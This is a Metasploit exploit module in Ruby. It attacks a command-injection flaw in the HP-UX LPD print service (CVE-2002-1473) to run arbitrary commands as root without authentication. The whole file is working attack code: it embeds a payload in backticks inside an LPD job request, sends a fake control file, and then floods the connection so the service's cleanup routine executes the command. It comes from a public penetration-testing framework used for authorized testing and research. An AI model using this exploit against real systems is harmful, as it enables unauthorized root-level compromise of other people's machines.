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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'HP-UX LPD Command Execution',
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      'Description'    => %q{
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          This exploit abuses an unpublished vulnerability in the
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        HP-UX LPD service. This flaw allows an unauthenticated
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        attacker to execute arbitrary commands with the privileges
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        of the root user. The LPD service is only exploitable when
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        the address of the attacking system can be resolved by the
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        target. This vulnerability was silently patched with the
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        buffer overflow flaws addressed in HP Security Bulletin
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        HPSBUX0208-213.
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      },
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      'Author'         => [ 'hdm' ],
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      'References'     =>
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        [
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          [ 'CVE', '2002-1473'],
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          [ 'OSVDB', '9638'],
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          [ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],
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        ],
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      'Platform'       => %w{ hpux unix },
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'       => 200,
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          'DisableNops' => true,
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          'BadChars'    => "\x00\x09\x20\x2f",
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic Target', { }]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2002-08-28'
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    ))
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    register_options(
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      [
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        Opt::RPORT(515)
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      ])
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  end
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  def exploit
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    # The job ID is squashed down to three decimal digits
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    jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
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    # Connect to the LPD service
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    connect
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    print_status("Sending our job request with embedded command string...")
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    # Send the job request with the encoded command
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    sock.put(
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      "\x02" + rand_text_alphanumeric(3) + jid +
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      "`" + payload.encoded + "`\n"
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    )
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    res = sock.get_once(1)
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    if !(res and res[0,1] == "\x00")
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      print_status("The target did not accept our job request")
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      return
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    end
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    print_status("Sending our fake control file...")
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    sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")
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    res = sock.get_once(1)
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    if !(res and res[0,1] == "\x00")
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      print_status("The target did not accept our control file")
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      return
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    end
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    print_status("Forcing an error and hijacking the cleanup routine...")
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    begin
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      sock.put(rand_text_alphanumeric(16384))
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      disconnect
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    rescue
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    end
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  end
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end
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